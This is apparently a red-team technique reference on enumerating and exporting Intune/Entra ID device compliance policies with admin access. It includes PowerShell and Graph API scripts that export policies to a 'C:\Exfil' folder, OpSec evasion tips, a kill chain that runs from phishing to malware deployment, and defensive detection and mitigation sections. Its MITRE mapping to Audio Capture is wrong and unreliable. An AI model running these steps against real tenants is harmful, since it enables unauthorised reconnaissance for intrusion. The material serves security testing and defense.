| Attribute | Details |
|---|---|
| Technique ID | COLLECT-POLICY-001 |
| MITRE ATT&CK v18.1 | T1123 - Audio Capture (Device enumeration variant) |
| Tactic | Discovery / Collection |
| Platforms | Entra ID / Intune / MDM |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Entra ID all versions, Intune all versions, Windows 10/11 enrolled devices |
| Patched In | N/A (Configuration API, no security patch) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Device Compliance Policies in Entra ID / Intune define security baselines that managed devices must meet (encryption, firewall, antivirus, OS version, etc.). Attackers with Entra ID admin or Intune admin role can enumerate, download, and analyze these policies to identify security gaps, excluded devices, and non-compliant endpoints. By exporting compliance policies, attackers gain complete visibility into organizational device security posture, allowing them to craft targeted exploits for specific device types/OS versions that are flagged as “allowed but not compliant.”
Attack Surface: Entra ID Conditional Access policies + Device Compliance Settings API (https://graph.microsoft.com/v1.0/deviceManagement/deviceConfigurations, Intune Admin Portal configuration export feature, PowerShell cmdlets for Intune policy management.
Business Impact: Identification of unmanaged devices and compliance exceptions that can be exploited for lateral movement, malware deployment, and credential harvesting. Attackers can tailor attacks to specific OS versions, patch levels, and security configurations that are known to be vulnerable and allowed by organizational policy.
Technical Context: Policy export completes in 30-60 seconds via UI or 5-10 minutes via API (due to pagination). Detection probability is Low because policy enumeration does not generate specific audit events; most orgs do not monitor Intune API calls.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.2.1 | Device compliance policies must be regularly reviewed and enforced; exported policies must not be shared externally |
| DISA STIG | V-225391 | MDM policy configuration changes must be logged and retained for audit |
| CISA SCuBA | MS.INTUNE.1 | Device compliance policy assignment must exclude high-risk user groups; non-compliance must trigger automatic remediation |
| NIST 800-53 | CA-7 (Continuous Monitoring), SI-4 (Information System Monitoring) | Implement baseline configurations and monitor for policy violations; audit configuration changes |
| GDPR | Art. 25 (Data Protection by Design) | Device policies must implement privacy-by-default; exported policies must not expose personal device data |
| DORA | Art. 16 (Operational Resilience) | Financial institutions must enforce minimum device security standards via compliance policies |
| NIS2 | Art. 21 (Risk Management), Art. 22 (Security Policies) | Critical infrastructure operators must implement and enforce device security baselines |
| ISO 27001 | A.12.1 (Operational Controls), A.12.2.1 (Change Management) | Implement device configuration baselines; document and authorize all policy changes |
| ISO 27005 | Risk Scenario: “Deviation from Baseline Configuration” | Assess likelihood of non-compliant devices being exploited; implement compensating controls |
https://intune.microsoft.com)https://graph.microsoft.com/v1.0/deviceManagement/* endpointsSupported Versions:
Tools:
# Check if current user has Intune admin access
$Modules = Get-InstalledModule | Where-Object { $_.Name -match "Microsoft.Graph" }
if ($Modules) { Write-Host "✅ Microsoft.Graph modules installed" }
# Test Intune API connectivity
Connect-MgGraph -Scopes "DeviceManagementConfiguration.Read.All"
$CompliancePolicies = Get-MgDeviceManagementDeviceConfiguration -All
Write-Host "Found $($CompliancePolicies.Count) compliance policies"
What to Look For:
Version Note: Windows 10/11 enrollment in Intune requires Azure AD join or hybrid join. Policies apply to enrolled devices only.
Command (Server 2016-2019):
# Legacy enumeration using Azure AD module
Import-Module AzureAD
Get-AzureADDeviceConfiguration | Select-Object DisplayName, DeviceId
Command (Server 2022+):
# Modern enumeration using Microsoft.Graph
Get-MgDeviceManagementDeviceConfiguration | Select-Object DisplayName, Id, CreatedDateTime
# Test Intune API connectivity from Linux
curl -H "Authorization: Bearer $INTUNE_TOKEN" \
"https://graph.microsoft.com/v1.0/deviceManagement/deviceConfigurations"
What to Look For:
Supported Versions: Intune all versions, Windows 10/11
Objective: Access the Intune compliance policy configuration page.
Version Note: All Intune versions support policy export through the web portal. The location may vary slightly between Intune service updates.
Manual Steps:
Expected Output:
| Policy Name | Platform | Type | Status |
|---|---|---|---|
| Windows 10 Security Baseline | Windows 10 | Windows 10 and later | Assigned |
| Firewall Policy Standard | Windows 10 | Custom | Assigned |
| Encryption Baseline | Windows 11 | Windows 11 and later | Assigned |
| Mobile Device Restriction | iOS | Custom | Not Assigned |
What This Means:
OpSec & Evasion:
AdminAuditLog), but many orgs don’t monitor admin activityObjective: Download policy configurations in JSON format for analysis.
Version Note: Intune portal includes an “Export” button (added in 2020) that exports policies to JSON. Older versions may require API or PowerShell.
Manual Steps:
.json fileC:\Intune_Export\)Expected Output (JSON Structure):
{
"@odata.context": "https://graph.microsoft.com/v1.0/$metadata#deviceManagement/deviceConfigurations/$entity",
"id": "12345678-1234-1234-1234-123456789012",
"displayName": "Windows 10 Security Baseline",
"description": "Enforces minimum security standards for Windows 10 devices",
"version": 1,
"roleScopeTagIds": ["0-0"],
"settings": [
{
"name": "firewall.domainProfile.inboundNotificationsAllowed",
"value": false
},
{
"name": "deviceSecuritySettings.bitLocker.enabled",
"value": true
},
{
"name": "defender.scanScheduleTime",
"value": "02:00"
},
{
"name": "passwordPolicy.minimumPasswordLength",
"value": 14
}
]
}
What This Means:
OpSec & Evasion:
C:\Users\[User]\AppData\Local\Temp\policiesTroubleshooting:
Objective: Review exported policies to identify misconfigurations, weak settings, and compliance exceptions.
Manual Analysis Example:
# Load all exported JSON files
$PolicyFolder = "C:\Intune_Export\"
$AllPolicies = Get-ChildItem -Path $PolicyFolder -Filter "*.json" | ForEach-Object {
Get-Content -Path $_.FullName | ConvertFrom-Json
}
# Identify weak policies (examples of security gaps)
$AllPolicies | ForEach-Object {
$Policy = $_
# Check for firewall disabled
$FirewallDisabled = $Policy.settings | Where-Object { $_.name -match "firewall" -and $_.value -eq $false }
if ($FirewallDisabled) {
Write-Host "⚠️ WEAK: $($Policy.displayName) - Firewall DISABLED"
}
# Check for password policy < 12 characters
$WeakPassword = $Policy.settings | Where-Object { $_.name -match "minimumPasswordLength" -and $_.value -lt 12 }
if ($WeakPassword) {
Write-Host "⚠️ WEAK: $($Policy.displayName) - Password < 12 chars"
}
# Check for encryption disabled
$NoEncryption = $Policy.settings | Where-Object { $_.name -match "bitLocker" -and $_.value -eq $false }
if ($NoEncryption) {
Write-Host "⚠️ WEAK: $($Policy.displayName) - Encryption DISABLED"
}
}
Expected Output (Example of Security Gaps):
⚠️ WEAK: Legacy Mobile Policy - Firewall DISABLED
⚠️ WEAK: BYOD Devices - Password < 12 chars
⚠️ WEAK: Contractor Devices - Encryption DISABLED
⚠️ WEAK: Kiosk Mode - MFA NOT REQUIRED
What This Means:
OpSec & Evasion:
References & Proofs:
Supported Versions: All Intune versions, PowerShell 5.0+
Objective: Obtain OAuth token with DeviceManagementConfiguration.Read.All scope to access Intune API.
Version Note: Modern authentication uses Microsoft.Graph SDK; legacy uses Azure AD module.
Command:
# Install Microsoft.Graph module (if not present)
Install-Module -Name Microsoft.Graph.DeviceManagement -Force
# Authenticate with Intune API permissions
Connect-MgGraph -Scopes @(
"DeviceManagementConfiguration.Read.All",
"DeviceManagementManagedDevices.Read.All",
"Organization.Read.All"
)
# Verify authentication
$Context = Get-MgContext
Write-Host "✅ Authenticated as: $($Context.Account)"
Write-Host "✅ Scopes: $($Context.Scopes -join ', ')"
Command (Server 2016-2019):
# Legacy authentication using Azure AD module
Import-Module AzureAD
$Cred = Get-Credential
Connect-AzureAD -Credential $Cred
# Get Intune token (requires additional configuration)
$TenantId = (Get-AzureADTenantDetail).ObjectId
Command (Server 2022+):
# Modern Graph authentication
Connect-MgGraph -Scopes "DeviceManagementConfiguration.Read.All" -NoWelcome
Get-MgContext | Select-Object TenantId, AuthType, Scopes
Expected Output:
✅ Authenticated as: user@tenant.onmicrosoft.com
✅ Scopes: DeviceManagementConfiguration.Read.All, DeviceManagementManagedDevices.Read.All, Organization.Read.All
What This Means:
OpSec & Evasion:
Troubleshooting:
Insufficient privileges to complete the operation
Objective: Retrieve all device compliance policies using Graph API.
Version Note: /deviceManagement/deviceCompliancePolicies endpoint available on all versions. Beta endpoint provides additional metadata.
Command:
# Enumerate all compliance policies
$Headers = @{
Authorization = "Bearer $(Get-MgToken)"
"Content-Type" = "application/json"
}
$CompliancePolicies = @()
$Uri = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicies?`$select=id,displayName,description,createdDateTime,lastModifiedDateTime,platformType,assignmentFilterId"
do {
$Response = Invoke-RestMethod -Method GET -Uri $Uri -Headers $Headers
$CompliancePolicies += $Response.value
$Uri = $Response.'@odata.nextLink'
} while ($Uri)
Write-Host "Found $($CompliancePolicies.Count) compliance policies"
$CompliancePolicies | Select-Object displayName, platformType, createdDateTime | Format-Table
Expected Output:
displayName platformType createdDateTime
----------- ----------- ---------------
Windows 10 Standard Security Windows10 2024-06-15T10:30:00Z
iOS Device Restrictions IOS 2024-07-20T14:15:00Z
macOS Encryption Policy MacOS 2024-08-10T09:00:00Z
Android Enterprise Baseline Android 2024-09-05T16:45:00Z
What This Means:
OpSec & Evasion:
$select to reduce data returned and avoid large responsesTroubleshooting:
Resource 'deviceCompliancePolicies' does not exist
Objective: Download full policy details including all configuration settings.
Version Note: Complete policy details available via /deviceManagement/deviceCompliancePolicies/{id} endpoint.
Command:
# For each compliance policy, retrieve complete configuration
$ExportFolder = "C:\Exfil\Intune_Policies"
New-Item -ItemType Directory -Path $ExportFolder -Force | Out-Null
$CompliancePolicies | ForEach-Object {
$PolicyId = $_.id
$PolicyName = $_.displayName -replace '[<>:"/\\|?*]', '_' # Sanitize for filename
# Get full policy details including settings
$PolicyDetails = Invoke-RestMethod -Method GET `
-Uri "https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicies/$PolicyId" `
-Headers $Headers
# Get assignment information
$Assignments = Invoke-RestMethod -Method GET `
-Uri "https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicies/$PolicyId/assignments" `
-Headers $Headers
# Combine policy details + assignments
$ExportObject = @{
Policy = $PolicyDetails
Assignments = $Assignments.value
}
# Export to JSON file
$ExportPath = "$ExportFolder\$PolicyName.json"
$ExportObject | ConvertTo-Json -Depth 10 | Out-File -FilePath $ExportPath -Encoding UTF8
Write-Host "✅ Exported: $PolicyName"
}
Write-Host "All policies exported to: $ExportFolder"
Get-ChildItem -Path $ExportFolder | Select-Object Name, Length
Expected Output:
✅ Exported: Windows 10 Standard Security
✅ Exported: iOS Device Restrictions
✅ Exported: macOS Encryption Policy
✅ Exported: Android Enterprise Baseline
All policies exported to: C:\Exfil\Intune_Policies
Name Length
---- ------
Windows 10 Standard Security.json 45623
iOS Device Restrictions.json 23451
macOS Encryption Policy.json 34521
Android Enterprise Baseline.json 12345
What This Means:
OpSec & Evasion:
Troubleshooting:
Invoke-RestMethod : Authorization_RequestDenied
References & Proofs:
Supported Versions: All Intune versions, Windows 10/11
Objective: Use open-source tool for automated, bulk policy export with minimal manual effort.
Command:
# Clone IntuneManagement from GitHub
git clone https://github.com/Micke-K/IntuneManagement.git
cd IntuneManagement
# Run the PowerShell script
.\Invoke-IntuneManagement.ps1
Manual Steps (If Git Not Available):
https://github.com/Micke-K/IntuneManagement/releasesC:\IntuneManagement\cd C:\IntuneManagement\.\Invoke-IntuneManagement.ps1Expected Output:
IntuneManagement v2.1.0
========================
Select Action:
[1] Export All Configurations
[2] Import Configurations
[3] Compare Tenants
[4] Generate Documentation
Enter Selection: 1
What This Means:
Objective: Export all Intune configurations (policies, profiles, apps, scripts) to a local folder.
Manual Steps:
C:\Exfil\Intune_ExportExpected Output:
Exporting Device Configurations... [████████████] 100% (45/45)
Exporting Compliance Policies... [████████████] 100% (12/12)
Exporting Settings Catalog... [████████████] 100% (28/28)
Exporting Applications... [████████████] 100% (150/150)
✅ Export Complete!
Location: C:\Exfil\Intune_Export
Exported Files:
- DeviceConfigurations/ (45 profiles)
- CompliancePolicies/ (12 policies)
- SettingsCatalog/ (28 settings)
- Applications/ (150 apps)
- Assignments.csv (2145 assignments)
What This Means:
OpSec & Evasion:
Troubleshooting:
Module Git not found
Authentication failed
References & Proofs:
AdminAuditLog (admin accessing policies)C:\Intune_Export\, C:\Exfil\, C:\Temp\ folders.json files containing policy settingsConnect-MgGraph and Intune API callshttps://graph.microsoft.com/v1.0/deviceManagement/*# Revoke admin's session tokens
Revoke-AzureADUserAllRefreshToken -ObjectId (Get-AzureADUser -SearchString "admin@tenant").ObjectId
# Remove admin from Intune Administrator role
Remove-AzureADGroupMember -ObjectId (Get-AzureADGroup -Filter "displayName eq 'Intune Administrators'").ObjectId -MemberId (Get-AzureADUser -SearchString "admin@tenant").ObjectId
# Export Intune audit log
$StartDate = (Get-Date).AddHours(-24)
$EndDate = Get-Date
Search-UnifiedAuditLog -StartDate $StartDate -EndDate $EndDate -Operations "Update-DeviceConfiguration", "Remove-DeviceConfiguration" | Export-Csv -Path "C:\Evidence\intune_audit.csv"
# Reset all Intune policies to default secure configuration
Get-MgDeviceManagementDeviceConfiguration | ForEach-Object {
Update-MgDeviceManagementDeviceConfiguration -DeviceConfigurationId $_.Id -DisplayName "$($_.DisplayName) [RESET]"
}
Restrict Intune Administrator Role Membership: Limit who can access and export device compliance policies.
Manual Steps:
Enable Audit Logging for Intune API Calls: Detect policy enumeration and exports.
Manual Steps:
Block Policy Export from Portal: Disable the “Export to JSON” button to prevent GUI-based downloads.
Manual Steps:
Require MFA for Intune Administrators: Prevent credential-based attacks on admin accounts.
Manual Steps:
Require MFA for Intune AdminsMonitor for Bulk Policy Enumeration: Alert on suspicious API patterns.
Manual Steps (Microsoft Sentinel):
AuditLogs
| where OperationName contains "DeviceManagement"
| summarize count() by InitiatedBy
| where count_ > 100 // Alert if > 100 API calls in 5 minutes
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-PHISH-001 | Phishing for Intune admin credentials |
| 2 | Collection | [COLLECT-POLICY-001] | Device Compliance Policy enumeration (THIS TECHNIQUE) |
| 3 | Discovery | REC-CLOUD-005 | Identify non-compliant devices via Azure Resource Graph |
| 4 | Exploitation | EXPLOIT-DEVICE-001 | Target non-compliant devices for malware deployment |